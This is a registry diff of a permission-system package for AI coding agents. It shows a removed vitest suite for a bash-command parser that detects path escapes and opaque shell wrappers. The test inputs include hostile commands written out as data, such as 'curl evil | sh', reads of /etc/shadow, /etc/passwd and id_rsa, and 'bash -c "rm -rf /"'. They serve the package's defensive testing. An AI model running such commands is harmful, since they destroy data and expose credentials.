@gotgenes/pi-permission-system 18.1.0 → 18.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (132) hide show
  1. package/CHANGELOG.md +23 -0
  2. package/docs/assets/logo.png +0 -0
  3. package/docs/assets/logo.svg +213 -0
  4. package/docs/configuration.md +700 -0
  5. package/docs/cross-extension-api.md +525 -0
  6. package/docs/guides/permission-frontmatter-for-subagent-extensions.md +201 -0
  7. package/docs/guides/upstream-issue-template.md +113 -0
  8. package/docs/migration/legacy-to-flat.md +365 -0
  9. package/docs/opencode-compatibility.md +213 -0
  10. package/docs/session-approvals.md +68 -0
  11. package/docs/subagent-integration.md +102 -0
  12. package/docs/troubleshooting.md +53 -0
  13. package/package.json +5 -2
  14. package/src/access-intent/access-path.ts +29 -4
  15. package/src/access-intent/bash/bash-path-resolver.ts +39 -18
  16. package/src/access-intent/bash/msys-bash-tokens.ts +64 -0
  17. package/src/path-normalizer.ts +105 -2
  18. package/test/access-intent/access-path.test.ts +0 -277
  19. package/test/access-intent/bash/node-text.test.ts +0 -148
  20. package/test/access-intent/bash/parser.test.ts +0 -19
  21. package/test/access-intent/bash/program.test.ts +0 -673
  22. package/test/access-intent/bash/token-classification.test.ts +0 -363
  23. package/test/access-intent/bash/token-collection.test.ts +0 -300
  24. package/test/active-agent.test.ts +0 -155
  25. package/test/async-cache.test.ts +0 -48
  26. package/test/bash-arity.test.ts +0 -144
  27. package/test/bash-external-directory.test.ts +0 -1022
  28. package/test/builtin-tool-input-formatters.test.ts +0 -109
  29. package/test/canonicalize-path.test.ts +0 -119
  30. package/test/composition-root.test.ts +0 -698
  31. package/test/config-loader.test.ts +0 -740
  32. package/test/config-modal.test.ts +0 -320
  33. package/test/config-paths.test.ts +0 -83
  34. package/test/config-pipeline.test.ts +0 -90
  35. package/test/config-reporter.test.ts +0 -147
  36. package/test/config-store.test.ts +0 -466
  37. package/test/decision-audit.test.ts +0 -72
  38. package/test/decision-reporter.test.ts +0 -112
  39. package/test/denial-messages.test.ts +0 -714
  40. package/test/detect-permissive-bash-fallback.test.ts +0 -56
  41. package/test/expand-home.test.ts +0 -93
  42. package/test/extension-config.test.ts +0 -129
  43. package/test/extension-paths.test.ts +0 -108
  44. package/test/forwarded-permissions/io.test.ts +0 -251
  45. package/test/forwarding-manager.test.ts +0 -200
  46. package/test/handlers/before-agent-start.test.ts +0 -314
  47. package/test/handlers/external-directory-integration.test.ts +0 -515
  48. package/test/handlers/external-directory-session-dedup.test.ts +0 -175
  49. package/test/handlers/external-directory-symlink-acceptance.test.ts +0 -167
  50. package/test/handlers/gates/bash-command-metamorphic.test.ts +0 -88
  51. package/test/handlers/gates/bash-command.test.ts +0 -257
  52. package/test/handlers/gates/bash-external-directory.test.ts +0 -268
  53. package/test/handlers/gates/bash-path.test.ts +0 -346
  54. package/test/handlers/gates/candidate-check.test.ts +0 -52
  55. package/test/handlers/gates/external-directory-messages.test.ts +0 -85
  56. package/test/handlers/gates/external-directory-policy.test.ts +0 -134
  57. package/test/handlers/gates/external-directory.test.ts +0 -267
  58. package/test/handlers/gates/helpers.test.ts +0 -165
  59. package/test/handlers/gates/path.test.ts +0 -369
  60. package/test/handlers/gates/runner.test.ts +0 -408
  61. package/test/handlers/gates/skill-input-gate-pipeline.test.ts +0 -176
  62. package/test/handlers/gates/skill-input.test.ts +0 -128
  63. package/test/handlers/gates/skill-read.test.ts +0 -161
  64. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +0 -356
  65. package/test/handlers/gates/tool.test.ts +0 -244
  66. package/test/handlers/input-events.test.ts +0 -168
  67. package/test/handlers/input.test.ts +0 -199
  68. package/test/handlers/lifecycle.test.ts +0 -221
  69. package/test/handlers/tool-call-boundary.test.ts +0 -145
  70. package/test/handlers/tool-call-events.test.ts +0 -277
  71. package/test/handlers/tool-call.test.ts +0 -395
  72. package/test/handlers/validate-requested-tool.test.ts +0 -92
  73. package/test/helpers/external-directory-fixtures.ts +0 -269
  74. package/test/helpers/gate-fixtures.ts +0 -316
  75. package/test/helpers/handler-fixtures.ts +0 -335
  76. package/test/helpers/make-fake-pi.ts +0 -100
  77. package/test/helpers/manager-harness.ts +0 -112
  78. package/test/helpers/session-fixtures.ts +0 -199
  79. package/test/input-normalizer.test.ts +0 -325
  80. package/test/logging.test.ts +0 -51
  81. package/test/mcp-targets.test.ts +0 -233
  82. package/test/node-modules-discovery.test.ts +0 -97
  83. package/test/normalize.test.ts +0 -247
  84. package/test/path-containment.test.ts +0 -161
  85. package/test/path-normalization.test.ts +0 -233
  86. package/test/path-normalizer.test.ts +0 -196
  87. package/test/path-surfaces.test.ts +0 -55
  88. package/test/pattern-suggest.test.ts +0 -248
  89. package/test/permission-dialog.test.ts +0 -205
  90. package/test/permission-event-rpc.test.ts +0 -560
  91. package/test/permission-events.test.ts +0 -400
  92. package/test/permission-forwarder.test.ts +0 -370
  93. package/test/permission-forwarding.test.ts +0 -315
  94. package/test/permission-gate.test.ts +0 -269
  95. package/test/permission-manager-unified.test.ts +0 -3714
  96. package/test/permission-merge.test.ts +0 -61
  97. package/test/permission-prompter.test.ts +0 -518
  98. package/test/permission-prompts.test.ts +0 -363
  99. package/test/permission-resolver.test.ts +0 -277
  100. package/test/permission-session.test.ts +0 -404
  101. package/test/permission-ui-prompt.test.ts +0 -146
  102. package/test/permissions-service.test.ts +0 -192
  103. package/test/pi-infrastructure-read.test.ts +0 -432
  104. package/test/policy-loader.test.ts +0 -561
  105. package/test/prompting-gateway.test.ts +0 -231
  106. package/test/rule.test.ts +0 -650
  107. package/test/safe-system-paths.test.ts +0 -46
  108. package/test/scope-merge.test.ts +0 -116
  109. package/test/service-lifecycle.test.ts +0 -163
  110. package/test/service.test.ts +0 -261
  111. package/test/session-approval.test.ts +0 -75
  112. package/test/session-logger.test.ts +0 -200
  113. package/test/session-rules.test.ts +0 -321
  114. package/test/session-start.test.ts +0 -112
  115. package/test/skill-prompt-sanitizer.test.ts +0 -418
  116. package/test/status.test.ts +0 -10
  117. package/test/subagent-context.test.ts +0 -372
  118. package/test/subagent-lifecycle-events.test.ts +0 -132
  119. package/test/subagent-registry.test.ts +0 -145
  120. package/test/synthesize.test.ts +0 -302
  121. package/test/system-prompt-sanitizer.test.ts +0 -382
  122. package/test/tool-access-extractor-registry.test.ts +0 -77
  123. package/test/tool-input-formatter-registry.test.ts +0 -75
  124. package/test/tool-input-path.test.ts +0 -84
  125. package/test/tool-input-preview.test.ts +0 -129
  126. package/test/tool-input-prompt-formatters.test.ts +0 -115
  127. package/test/tool-preview-formatter.test.ts +0 -458
  128. package/test/tool-registry.test.ts +0 -197
  129. package/test/value-guards.test.ts +0 -193
  130. package/test/wildcard-matcher.test.ts +0 -424
  131. package/test/yaml-frontmatter.test.ts +0 -91
  132. package/test/yolo-mode.test.ts +0 -188
@@ -1,673 +0,0 @@
1
- import { beforeEach, describe, expect, it, vi } from "vitest";
2
-
3
- // Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
4
- // Default is identity so all existing lexical tests are unaffected.
5
- const realpathSync = vi.hoisted(() =>
6
- vi.fn<(path: string) => string>((p) => p),
7
- );
8
- vi.mock("node:fs", () => ({
9
- realpathSync,
10
- default: { realpathSync },
11
- }));
12
-
13
- import { BashProgram } from "#src/access-intent/bash/program";
14
- import { PathNormalizer } from "#src/path-normalizer";
15
-
16
- describe("BashProgram", () => {
17
- describe("pathRuleCandidates", () => {
18
- const cwd = "/projects/my-app";
19
- const normalizer = new PathNormalizer(process.platform, cwd);
20
-
21
- beforeEach(() => {
22
- realpathSync.mockReset();
23
- realpathSync.mockImplementation((p: string) => p);
24
- });
25
-
26
- it("adds absolute and relative policy values for relative tokens", async () => {
27
- const program = await BashProgram.parse("cat src/foo.ts", normalizer);
28
- const candidates = program.pathRuleCandidates();
29
- expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
30
- expect(candidates[0].path.matchValues()).toEqual([
31
- "/projects/my-app/src/foo.ts",
32
- "src/foo.ts",
33
- ]);
34
- expect(candidates[0].path.value()).toBe("/projects/my-app/src/foo.ts");
35
- });
36
-
37
- it("resolves tokens after literal cd against the effective directory", async () => {
38
- const program = await BashProgram.parse(
39
- "cd nested && cat src/file.txt",
40
- normalizer,
41
- );
42
- const fileCandidate = program
43
- .pathRuleCandidates()
44
- .find((candidate) => candidate.token === "src/file.txt");
45
- expect(fileCandidate?.path.matchValues()).toEqual([
46
- "/projects/my-app/nested/src/file.txt",
47
- "nested/src/file.txt",
48
- "src/file.txt",
49
- ]);
50
- expect(fileCandidate?.path.value()).toBe(
51
- "/projects/my-app/nested/src/file.txt",
52
- );
53
- });
54
-
55
- it("adds the canonical alias for a symlinked token (#486)", async () => {
56
- // /projects/my-app/src/foo.ts is a symlink to /vault/foo.ts.
57
- realpathSync.mockImplementation((p: string) =>
58
- p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
59
- );
60
- const program = await BashProgram.parse("cat src/foo.ts", normalizer);
61
- const candidate = program.pathRuleCandidates()[0];
62
- expect(candidate.path.matchValues()).toEqual([
63
- "/projects/my-app/src/foo.ts",
64
- "src/foo.ts",
65
- "/vault/foo.ts",
66
- ]);
67
- });
68
-
69
- it("does not absolute-allow relative tokens after unknown cd", async () => {
70
- const program = await BashProgram.parse(
71
- 'cd "$DIR" && cat src/foo.ts',
72
- normalizer,
73
- );
74
- const fileCandidate = program
75
- .pathRuleCandidates()
76
- .find((candidate) => candidate.token === "src/foo.ts");
77
- expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
78
- expect(fileCandidate?.path.value()).toBe("src/foo.ts");
79
- });
80
-
81
- it("keeps an unknown-cd token literal-only even when it would resolve a symlink (#393)", async () => {
82
- // A canonical alias here would resolve against the wrong (unknown) base.
83
- realpathSync.mockImplementation(() => "/somewhere/else");
84
- const program = await BashProgram.parse(
85
- 'cd "$DIR" && cat src/foo.ts',
86
- normalizer,
87
- );
88
- const fileCandidate = program
89
- .pathRuleCandidates()
90
- .find((candidate) => candidate.token === "src/foo.ts");
91
- expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
92
- expect(fileCandidate?.path.boundaryValue()).toBe("");
93
- });
94
-
95
- describe("rule-driven bare-token promotion (#509)", () => {
96
- it("promotes a bare token when the matcher says it is promotable", async () => {
97
- const isPromotable = (token: string): boolean => token === "id_rsa";
98
- const program = await BashProgram.parse(
99
- "cat id_rsa",
100
- normalizer,
101
- isPromotable,
102
- );
103
- const candidates = program.pathRuleCandidates();
104
- expect(candidates.map(({ token }) => token)).toEqual(["id_rsa"]);
105
- expect(candidates[0].path.matchValues()).toEqual([
106
- "/projects/my-app/id_rsa",
107
- "id_rsa",
108
- ]);
109
- });
110
-
111
- it("does not promote a bare token the matcher rejects", async () => {
112
- const isPromotable = (token: string): boolean => token === "id_rsa";
113
- const program = await BashProgram.parse(
114
- "git status",
115
- normalizer,
116
- isPromotable,
117
- );
118
- expect(program.pathRuleCandidates()).toHaveLength(0);
119
- });
120
-
121
- it("does not promote any bare token with the default no-op matcher", async () => {
122
- const program = await BashProgram.parse("cat id_rsa", normalizer);
123
- expect(program.pathRuleCandidates()).toHaveLength(0);
124
- });
125
-
126
- it("keeps a promoted token literal-only after an unknown cd (#393)", async () => {
127
- const isPromotable = (token: string): boolean => token === "id_rsa";
128
- const program = await BashProgram.parse(
129
- 'cd "$DIR" && cat id_rsa',
130
- normalizer,
131
- isPromotable,
132
- );
133
- const candidate = program
134
- .pathRuleCandidates()
135
- .find((c) => c.token === "id_rsa");
136
- expect(candidate?.path.matchValues()).toEqual(["id_rsa"]);
137
- });
138
-
139
- it("does not double-promote a token the shape gate already accepts", async () => {
140
- // ./id_rsa already passes classifyTokenAsRuleCandidate; the promoted
141
- // fallback must not run (and must not duplicate the candidate).
142
- const isPromotable = (): boolean => true;
143
- const program = await BashProgram.parse(
144
- "cat ./id_rsa",
145
- normalizer,
146
- isPromotable,
147
- );
148
- expect(program.pathRuleCandidates()).toHaveLength(1);
149
- });
150
- });
151
- });
152
-
153
- describe("externalPaths", () => {
154
- const cwd = "/projects/my-app";
155
- const normalizer = new PathNormalizer(process.platform, cwd);
156
-
157
- beforeEach(() => {
158
- realpathSync.mockReset();
159
- realpathSync.mockImplementation((p: string) => p);
160
- });
161
-
162
- it("returns absolute paths resolving outside cwd", async () => {
163
- const program = await BashProgram.parse("cat /etc/hosts", normalizer);
164
- // Subset matcher: the path is normalized before comparison.
165
- expect(program.externalPaths().map((p) => p.value())).toContain(
166
- "/etc/hosts",
167
- );
168
- });
169
-
170
- it("excludes paths within cwd", async () => {
171
- const program = await BashProgram.parse("cat src/index.ts", normalizer);
172
- expect(program.externalPaths()).toHaveLength(0);
173
- });
174
-
175
- describe("win32 projection (injected platform, no vi.mock node:path)", () => {
176
- const winNormalizer = new PathNormalizer("win32", "C:\\Projects\\App");
177
-
178
- it("resolves and case-folds a rooted path outside cwd", async () => {
179
- const program = await BashProgram.parse(
180
- "cat /etc/hosts",
181
- winNormalizer,
182
- );
183
- expect(program.externalPaths().map((p) => p.value())).toEqual([
184
- "c:\\etc\\hosts",
185
- ]);
186
- });
187
-
188
- it("flags a ..-traversal escaping cwd under win32 rules", async () => {
189
- const program = await BashProgram.parse(
190
- "cat ../sibling/x",
191
- winNormalizer,
192
- );
193
- expect(program.externalPaths().map((p) => p.value())).toEqual([
194
- "c:\\projects\\sibling\\x",
195
- ]);
196
- });
197
-
198
- it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
199
- const program = await BashProgram.parse(
200
- "cd sub && cat ../x",
201
- winNormalizer,
202
- );
203
- expect(program.externalPaths()).toHaveLength(0);
204
- });
205
- });
206
-
207
- describe("effective working directory projection", () => {
208
- it("folds a sequence of current-shell cd commands", async () => {
209
- // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
210
- const program = await BashProgram.parse(
211
- "cd a && cd b && cat ../c",
212
- normalizer,
213
- );
214
- expect(program.externalPaths()).toHaveLength(0);
215
- });
216
-
217
- it("catches an escape masked by a later cd that the single-base model missed", async () => {
218
- // Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
219
- // ../../etc/passwd escapes to /projects/etc/passwd.
220
- const program = await BashProgram.parse(
221
- "cd nested/deep && cd .. && cat ../../etc/passwd",
222
- normalizer,
223
- );
224
- expect(program.externalPaths().map((p) => p.value())).toContain(
225
- "/projects/etc/passwd",
226
- );
227
- });
228
-
229
- it("folds a cd that is not the first command", async () => {
230
- // The single-base model ignored a cd that was not first; now `cd a`
231
- // folds, so ../b resolves to cwd/b (inside) and is not flagged.
232
- const program = await BashProgram.parse(
233
- "mkdir d && cd a && cat ../b",
234
- normalizer,
235
- );
236
- expect(program.externalPaths()).toHaveLength(0);
237
- });
238
-
239
- it("does not fold a backgrounded cd", async () => {
240
- // `cd a &` runs in a subshell, so it must not update the running
241
- // directory; ../b resolves against cwd and escapes.
242
- const program = await BashProgram.parse("cd a & cat ../b", normalizer);
243
- expect(program.externalPaths().map((p) => p.value())).toContain(
244
- "/projects/b",
245
- );
246
- });
247
-
248
- it("does not fold a cd inside a pipeline", async () => {
249
- // Pipeline members run in subshells; the cd must not leak.
250
- const program = await BashProgram.parse(
251
- "cd nested | cat ../b",
252
- normalizer,
253
- );
254
- expect(program.externalPaths().map((p) => p.value())).toContain(
255
- "/projects/b",
256
- );
257
- });
258
-
259
- it("folds a cd inside a subshell for paths within that subshell", async () => {
260
- // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
261
- const program = await BashProgram.parse(
262
- "( cd sub && cat ../x )",
263
- normalizer,
264
- );
265
- expect(program.externalPaths()).toHaveLength(0);
266
- });
267
-
268
- it("does not leak a subshell cd to following commands", async () => {
269
- // The subshell cd resets on exit, so ../y resolves against cwd.
270
- const program = await BashProgram.parse(
271
- "( cd sub ) && cat ../y",
272
- normalizer,
273
- );
274
- expect(program.externalPaths().map((p) => p.value())).toContain(
275
- "/projects/y",
276
- );
277
- });
278
-
279
- it("persists a cd inside a brace group to later commands in the group", async () => {
280
- // Brace groups run in the current shell, so cd sub persists to cat ../x.
281
- const program = await BashProgram.parse(
282
- "{ cd sub; cat ../x; }",
283
- normalizer,
284
- );
285
- expect(program.externalPaths()).toHaveLength(0);
286
- });
287
-
288
- it("persists a brace-group cd to following sibling commands", async () => {
289
- const program = await BashProgram.parse(
290
- "{ cd sub; } && cat ../x",
291
- normalizer,
292
- );
293
- expect(program.externalPaths()).toHaveLength(0);
294
- });
295
-
296
- it("conservatively flags a relative path inside a command substitution", async () => {
297
- // Interior cd folding inside substitutions is deferred: the interior
298
- // inherits the enclosing base (cwd), so ../r is flagged rather than
299
- // resolved against cwd/q. Conservative — never misses an escape.
300
- const program = await BashProgram.parse(
301
- "echo $(cd q && cat ../r)",
302
- normalizer,
303
- );
304
- expect(program.externalPaths().map((p) => p.value())).toContain(
305
- "/projects/r",
306
- );
307
- });
308
-
309
- it("flags relative paths conservatively after a non-literal cd", async () => {
310
- // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
311
- // so it is flagged (least-privilege).
312
- const program = await BashProgram.parse(
313
- 'cd "$DIR" && cat ../x',
314
- normalizer,
315
- );
316
- expect(program.externalPaths().map((p) => p.value())).toContain(
317
- "/projects/x",
318
- );
319
- });
320
-
321
- it("flags even a within-cwd relative path after a non-literal cd", async () => {
322
- // Conservative cost: src/../within.txt resolves inside cwd but is still
323
- // flagged because the effective dir is unknown.
324
- const program = await BashProgram.parse(
325
- 'cd "$DIR" && cat src/../within.txt',
326
- normalizer,
327
- );
328
- expect(program.externalPaths().map((p) => p.value())).toContain(
329
- "/projects/my-app/within.txt",
330
- );
331
- });
332
-
333
- it("still resolves an absolute path normally after a non-literal cd", async () => {
334
- // Absolute paths are base-independent; one inside cwd is not flagged
335
- // even when the effective dir is unknown.
336
- const program = await BashProgram.parse(
337
- 'cd "$DIR" && cat /projects/my-app/x.txt',
338
- normalizer,
339
- );
340
- expect(program.externalPaths()).toHaveLength(0);
341
- });
342
-
343
- it("treats `cd -` as an unknown effective directory", async () => {
344
- const program = await BashProgram.parse("cd - && cat ../x", normalizer);
345
- expect(program.externalPaths().map((p) => p.value())).toContain(
346
- "/projects/x",
347
- );
348
- });
349
-
350
- it("recovers a known base when a later cd is absolute", async () => {
351
- // cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
352
- // ../x resolves to cwd and is not flagged.
353
- const program = await BashProgram.parse(
354
- 'cd "$DIR" && cd /projects/my-app/src && cat ../x',
355
- normalizer,
356
- );
357
- expect(program.externalPaths()).toHaveLength(0);
358
- });
359
-
360
- it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
361
- // tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
362
- // `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
363
- // inside a `pipeline` node. Bash precedence (`|` binds tighter than
364
- // `&&`) makes `cd a` current-shell, so the fold must persist past the
365
- // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
366
- const program = await BashProgram.parse(
367
- "cd a && pnpm x 2>&1 | tail ; cat ../b",
368
- normalizer,
369
- );
370
- expect(program.externalPaths()).toHaveLength(0);
371
- });
372
-
373
- it("persists the fold past a redirect-then-pipe to a later cd", async () => {
374
- // The issue reproduction: the fold from `cd a/b` survives the
375
- // redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
376
- // cwd instead of escaping one level above.
377
- const program = await BashProgram.parse(
378
- "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
379
- normalizer,
380
- );
381
- expect(program.externalPaths()).toHaveLength(0);
382
- });
383
-
384
- it("does not fold the terminal piped command of the first stage", async () => {
385
- // Fail-closed: `cd b` is the terminal command of the first stage, i.e.
386
- // the real pipe stage (a subshell), so it must NOT fold. With the
387
- // correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
388
- // wrongly folded, the base would be cwd/a/b and ../../x would stay
389
- // inside — a fail-open regression this test pins.
390
- const program = await BashProgram.parse(
391
- "cd a && cd b 2>&1 | tail ; cat ../../x",
392
- normalizer,
393
- );
394
- expect(program.externalPaths().map((p) => p.value())).toContain(
395
- "/projects/x",
396
- );
397
- });
398
-
399
- it("resolves a downstream pipe stage against the folded base", async () => {
400
- // The stage after the `|` runs in a subshell that inherits the folded
401
- // cwd/a, so ../foo resolves inside cwd rather than escaping against the
402
- // pre-cd base.
403
- const program = await BashProgram.parse(
404
- "cd a && pnpm x 2>&1 | cat ../foo",
405
- normalizer,
406
- );
407
- expect(program.externalPaths()).toHaveLength(0);
408
- });
409
- });
410
-
411
- it("flags an absolute in-cwd path that resolves externally via a symlink, returning the typed form", async () => {
412
- // The strict classifier only processes absolute tokens, so the escape
413
- // surface is `cat /cwd/link/hosts` (absolute) where `link -> /etc`.
414
- // The boundary decision still uses the canonical form (so the path is
415
- // flagged), but the returned value is the typed/lexical form so config
416
- // patterns match the path as the user wrote it (#418).
417
- realpathSync.mockImplementation((p: string) => {
418
- if (p === "/projects/my-app/link/hosts") return "/etc/hosts";
419
- return p;
420
- });
421
- const program = await BashProgram.parse(
422
- "cat /projects/my-app/link/hosts",
423
- normalizer,
424
- );
425
- const external = program.externalPaths().map((p) => p.value());
426
- expect(external).toContain("/projects/my-app/link/hosts");
427
- expect(external).not.toContain("/etc/hosts");
428
- });
429
-
430
- it("does not flag a token that resolves within a symlinked cwd", async () => {
431
- // Simulates /tmp -> /private/tmp on macOS; cwd is the canonical form.
432
- const symlinkCwd = "/private/tmp";
433
- realpathSync.mockImplementation((p: string) => {
434
- if (p === "/tmp") return "/private/tmp";
435
- if (p.startsWith("/tmp/")) return `/private/tmp${p.slice(4)}`;
436
- return p;
437
- });
438
- const program = await BashProgram.parse(
439
- "cat /tmp/workspace/file.ts",
440
- new PathNormalizer(process.platform, symlinkCwd),
441
- );
442
- expect(program.externalPaths()).toHaveLength(0);
443
- });
444
- });
445
-
446
- describe("commands", () => {
447
- const cwd = "/projects/my-app";
448
- const normalizer = new PathNormalizer(process.platform, cwd);
449
-
450
- it("returns a single-element list for a lone command", async () => {
451
- const program = await BashProgram.parse("npm install pkg", normalizer);
452
- expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
453
- });
454
-
455
- it("splits an && chain", async () => {
456
- const program = await BashProgram.parse("cd /p && npm i x", normalizer);
457
- expect(program.commands()).toEqual([
458
- { text: "cd /p" },
459
- { text: "npm i x" },
460
- ]);
461
- });
462
-
463
- it("splits || , ; and & separators", async () => {
464
- expect(
465
- (await BashProgram.parse("a || b", normalizer)).commands(),
466
- ).toEqual([{ text: "a" }, { text: "b" }]);
467
- expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
468
- [{ text: "a" }, { text: "b" }],
469
- );
470
- expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
471
- [{ text: "a" }, { text: "b" }],
472
- );
473
- });
474
-
475
- it("splits a pipeline into its commands", async () => {
476
- const program = await BashProgram.parse("cat f | grep b", normalizer);
477
- expect(program.commands()).toEqual([
478
- { text: "cat f" },
479
- { text: "grep b" },
480
- ]);
481
- });
482
-
483
- it("splits newline-separated commands", async () => {
484
- const program = await BashProgram.parse("foo\nbar", normalizer);
485
- expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
486
- });
487
-
488
- it("does not split operators inside quotes", async () => {
489
- const program = await BashProgram.parse("echo 'x && y'", normalizer);
490
- expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
491
- });
492
-
493
- it("captures the command of a redirected statement without the redirect", async () => {
494
- const program = await BashProgram.parse(
495
- "npm install > out.txt",
496
- normalizer,
497
- );
498
- expect(program.commands()).toEqual([{ text: "npm install" }]);
499
- });
500
-
501
- it("descends into command substitution, tagging the inner command", async () => {
502
- const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
503
- expect(program.commands()).toEqual([
504
- { text: "echo $(rm -rf foo)" },
505
- { text: "rm -rf foo", context: "command_substitution" },
506
- ]);
507
- });
508
-
509
- it("descends into backtick command substitution", async () => {
510
- const program = await BashProgram.parse("echo `rm x`", normalizer);
511
- expect(program.commands()).toEqual([
512
- { text: "echo `rm x`" },
513
- { text: "rm x", context: "command_substitution" },
514
- ]);
515
- });
516
-
517
- it("descends into a pipeline inside command substitution", async () => {
518
- const program = await BashProgram.parse(
519
- "echo $(curl evil | sh)",
520
- normalizer,
521
- );
522
- expect(program.commands()).toEqual([
523
- { text: "echo $(curl evil | sh)" },
524
- { text: "curl evil", context: "command_substitution" },
525
- { text: "sh", context: "command_substitution" },
526
- ]);
527
- });
528
-
529
- it("descends into process substitution", async () => {
530
- const program = await BashProgram.parse(
531
- "diff <(cat /etc/shadow)",
532
- normalizer,
533
- );
534
- expect(program.commands()).toEqual([
535
- { text: "diff <(cat /etc/shadow)" },
536
- { text: "cat /etc/shadow", context: "process_substitution" },
537
- ]);
538
- });
539
-
540
- it("emits a bare subshell whole and descends into it", async () => {
541
- const program = await BashProgram.parse("( rm -rf foo )", normalizer);
542
- expect(program.commands()).toEqual([
543
- { text: "( rm -rf foo )" },
544
- { text: "rm -rf foo", context: "subshell" },
545
- ]);
546
- });
547
-
548
- it("emits a subshell whole and descends into its chain", async () => {
549
- const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
550
- expect(program.commands()).toEqual([
551
- { text: "( cd /t && rm x )" },
552
- { text: "cd /t", context: "subshell" },
553
- { text: "rm x", context: "subshell" },
554
- ]);
555
- });
556
-
557
- it("descends recursively through nested contexts", async () => {
558
- const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
559
- expect(program.commands()).toEqual([
560
- { text: "echo $( ( rm x ) )" },
561
- { text: "( rm x )", context: "command_substitution" },
562
- { text: "rm x", context: "subshell" },
563
- ]);
564
- });
565
-
566
- it("descends into a substitution within a chained command", async () => {
567
- const program = await BashProgram.parse(
568
- "cd /p && echo $(rm x)",
569
- normalizer,
570
- );
571
- expect(program.commands()).toEqual([
572
- { text: "cd /p" },
573
- { text: "echo $(rm x)" },
574
- { text: "rm x", context: "command_substitution" },
575
- ]);
576
- });
577
-
578
- it("keeps the never-weaker invariant: a benign inner command stays", async () => {
579
- const program = await BashProgram.parse("echo $(echo safe)", normalizer);
580
- expect(program.commands()).toEqual([
581
- { text: "echo $(echo safe)" },
582
- { text: "echo safe", context: "command_substitution" },
583
- ]);
584
- });
585
-
586
- it("returns an empty list for an empty or whitespace command", async () => {
587
- expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
588
- expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
589
- [],
590
- );
591
- });
592
-
593
- it("strips a leading env-var assignment prefix", async () => {
594
- const program = await BashProgram.parse(
595
- "AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
596
- normalizer,
597
- );
598
- expect(program.commands()).toEqual([
599
- { text: "aws ec2 terminate-instances --instance-ids i-1" },
600
- ]);
601
- });
602
-
603
- it("strips multiple leading env-var assignments", async () => {
604
- const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
605
- expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
606
- });
607
-
608
- it("strips the env-var prefix of each command in a chain", async () => {
609
- const program = await BashProgram.parse(
610
- "X=1 aws sts get-caller-identity && ls",
611
- normalizer,
612
- );
613
- expect(program.commands()).toEqual([
614
- { text: "aws sts get-caller-identity" },
615
- { text: "ls" },
616
- ]);
617
- });
618
-
619
- it("keeps a pure assignment with no command unchanged", async () => {
620
- const program = await BashProgram.parse("FOO=bar", normalizer);
621
- expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
622
- });
623
-
624
- describe("opaque-payload wrappers", () => {
625
- it.each([
626
- ['bash -c "rm -rf /"', 'bash -c "rm -rf /"'],
627
- ['sh -c "rm -rf /"', 'sh -c "rm -rf /"'],
628
- ['dash -c "rm -rf /"', 'dash -c "rm -rf /"'],
629
- ['zsh -c "rm -rf /"', 'zsh -c "rm -rf /"'],
630
- ['ksh -c "rm -rf /"', 'ksh -c "rm -rf /"'],
631
- ['eval "rm -rf /"', 'eval "rm -rf /"'],
632
- ['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
633
- ['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
634
- ])("flags %s as opaque", async (command, text) => {
635
- const program = await BashProgram.parse(command, normalizer);
636
- expect(program.commands()).toEqual([{ text, opaque: true }]);
637
- });
638
-
639
- it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
640
- const program = await BashProgram.parse(
641
- 'AWS_PROFILE=prod bash -c "rm -rf /"',
642
- normalizer,
643
- );
644
- expect(program.commands()).toEqual([
645
- { text: 'bash -c "rm -rf /"', opaque: true },
646
- ]);
647
- });
648
-
649
- it.each([
650
- "bash script.sh",
651
- "bash",
652
- "ls -la",
653
- "grep -c foo file",
654
- ])("does not flag %s as opaque", async (command) => {
655
- const program = await BashProgram.parse(command, normalizer);
656
- expect(program.commands()).toEqual([{ text: command }]);
657
- });
658
- });
659
- });
660
-
661
- it("derives both slices from a single parse", async () => {
662
- const cwd = "/projects/my-app";
663
- const normalizer = new PathNormalizer(process.platform, cwd);
664
- const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
665
- expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
666
- ".env",
667
- "/etc/hosts",
668
- ]);
669
- const external = program.externalPaths().map((p) => p.value());
670
- expect(external).toContain("/etc/hosts");
671
- expect(external).not.toContain(".env");
672
- });
673
- });